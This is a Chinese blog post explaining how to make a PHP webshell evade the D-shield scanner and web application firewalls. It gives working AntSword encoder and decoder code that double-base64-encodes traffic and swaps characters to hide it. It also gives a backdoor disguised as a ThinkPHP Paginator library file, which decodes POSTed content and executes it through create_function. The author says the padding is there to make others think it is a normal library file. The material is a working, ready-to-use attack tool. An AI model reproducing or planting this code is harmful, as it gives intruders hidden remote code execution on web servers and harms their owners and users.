无eval 木马免杀人免杀D盾

作者: print("") 分类: 未分类 发布时间: 2020-08-02 23:12

编码器进行的加密,首先对传输的数据进行2层base64加密,由于一般waf可以对base64进行解密,然后在做检测,为了更好的绕过waf,这里对base64中的x字符进行替换变成***,这样在waf遇到这些数据的时候,就会识别不出来,具体代码


/**
* php::base64编码器
* Create at: 2020/07/17 13:04:17
*/

'use strict';

/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例

// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Math.random().toString(10).substr(-1);
data[pwd] = Buffer.from(data['_']).toString('base64');
data[pwd] = Buffer.from(data[pwd] ).toString('base64');
data[pwd] = data[pwd].replace(/x/g,'***');
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

蚁剑解码器

这里的解码器和上面的方法一样,对输出的数据进行base64两层加密,然后在将其中一个字符替换成其他内容,达到绕过效果,具体代码

/**
* php::base64解码器
* Create at: 2020/07/17 13:00:30
*/

'use strict';

module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
$tmp = @base64_encode(@base64_encode($out));
$tmp = str_replace("c","---",$tmp);
echo $temp;
return $tmp;
}
`.replace(/\n\s+/g, '');
},
//
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
//let temp = data.toString();
let temp = data.toString().replace(/---/g,"c");
console.log("ddd");
console.log(temp);
console.log("ddd");
temp = Buffer.from(temp.toString(), 'base64');
temp = Buffer.from(temp.toString(), 'base64');
return temp;
}
}

对应的免杀shell

由于传输的编码器内容进过一些简单的加密处理,所以在shell中要进行解密,这里写得这么多主要是为了让别人认为这个一个正常的库文件


<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
//------------------------
// Paginator 内置实现方法
//-------------------------

class Paginator 
{
	   // 路由规则
    private static $rules = [
        'get'     => [],
        'post'    => [],
        'put'     => [],
        'delete'  => [],
        'patch'   => [],
        'head'    => [],
        'options' => [],
        '*'       => [],
        'alias'   => [],
        'domain'  => [],
        'pattern' => [],
        'name'    => [],
    ];
   protected static $init = false;

    /**
     * @var string 当前模块路径
     */
    public static $modulePath;

    /**
     * @var bool 应用调试模式
     */
    public static $debug = true;

    /**
     * @var string 应用类库命名空间
     */
    public static $namespace = 'app';

    /**
     * @var bool 应用类库后缀
     */
    public static $suffix = false;

    /**
     * @var bool 应用路由检测
     */
    protected static $routeCheck;

    /**
     * @var bool 严格路由检测
     */
    protected static $routeMust;

    /**
     * @var array 请求调度分发
     */
    protected static $dispatch;

    /**
     * @var array 额外加载文件
     */
    protected static $file = [];

    
     /**
     * 记录时间(微秒)和内存使用情况
     * @access public
     * @param  string $name  标记位置
     * @return void
     */
    public static function remark($name, $value = '')
    {
        self::$info[$name] = is_float($value) ? $value : microtime(true);

        if ('time' != $value) {
            self::$mem['mem'][$name]  = is_float($value) ? $value : memory_get_usage();
            self::$mem['peak'][$name] = memory_get_peak_usage();
        }
    }
    public function __construct(){
        
        $this->content = $_POST['content'];
        $this->content = str_replace("***", "x", $this->content);
        $this->content = base64_decode(base64_decode($this->content));


        $name=$this->getName();
        $name();
      
    }

    private function getName(){
        $b = create_function('', $this->content);
        return $b;
    }
}
/**
     * 创建一个URL请求
     * @access public
     * @param string $uri    URL地址
     * @param string $method 请求类型
     * @param array  $params 请求参数
     * @param array  $cookie
     * @param array  $files
     * @param array  $server
     * @param string $content
     * @return \think\Request
     */

    	
        $server['PATH_INFO']      = '';
        $server['REQUEST_METHOD'] = strtoupper($method);
        $info                     = parse_url($uri);
        if (isset($info['host'])) {
            $server['SERVER_NAME'] = $info['host'];
            $server['HTTP_HOST']   = $info['host'];
        }
        if (isset($info['scheme'])) {
            if ('https' === $info['scheme']) {
                $server['HTTPS']       = 'on';
                $server['SERVER_PORT'] = 443;
            } else {
                unset($server['HTTPS']);
                $server['SERVER_PORT'] = 80;
            }
        }
        new Paginator();
        if (isset($info['port'])) {
            $server['SERVER_PORT'] = $info['port'];
            $server['HTTP_HOST']   = $server['HTTP_HOST'] . ':' . $info['port'];
        }
        if (isset($info['user'])) {
            $server['PHP_AUTH_USER'] = $info['user'];
        }
        if (isset($info['pass'])) {
            $server['PHP_AUTH_PW'] = $info['pass'];
        }
        if (!isset($info['path'])) {
            $info['path'] = '/';
        }
        $options                      = [];
        $options[strtolower($method)] = $params;
        $queryString                  = '';
        if (isset($info['query'])) {
            parse_str(html_entity_decode($info['query']), $query);
            if (!empty($params)) {
                $params      = array_replace($query, $params);
                $queryString = http_build_query($params, '', '&');
            } else {
                $params      = $query;
                $queryString = $info['query'];
            }
        } elseif (!empty($params)) {
            $queryString = http_build_query($params, '', '&');
        }
        if ($queryString) {
            parse_str($queryString, $get);
            $options['get'] = isset($options['get']) ? array_merge($get, $options['get']) : $get;
        }

        $server['REQUEST_URI']  = $info['path'] . ('' !== $queryString ? '?' . $queryString : '');
        $server['QUERY_STRING'] = $queryString;
        $options['cookie']      = $cookie;
        $options['param']       = $params;
        $options['file']        = $files;
        $options['server']      = $server;
        $options['url']         = $server['REQUEST_URI'];
        $options['baseUrl']     = $info['path'];
        $options['pathinfo']    = '/' == $info['path'] ? '/' : ltrim($info['path'], '/');
        $options['method']      = $server['REQUEST_METHOD'];
        $options['domain']      = isset($info['scheme']) ? $info['scheme'] . '://' . $server['HTTP_HOST'] : '';
        $options['content']     = $content;











如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注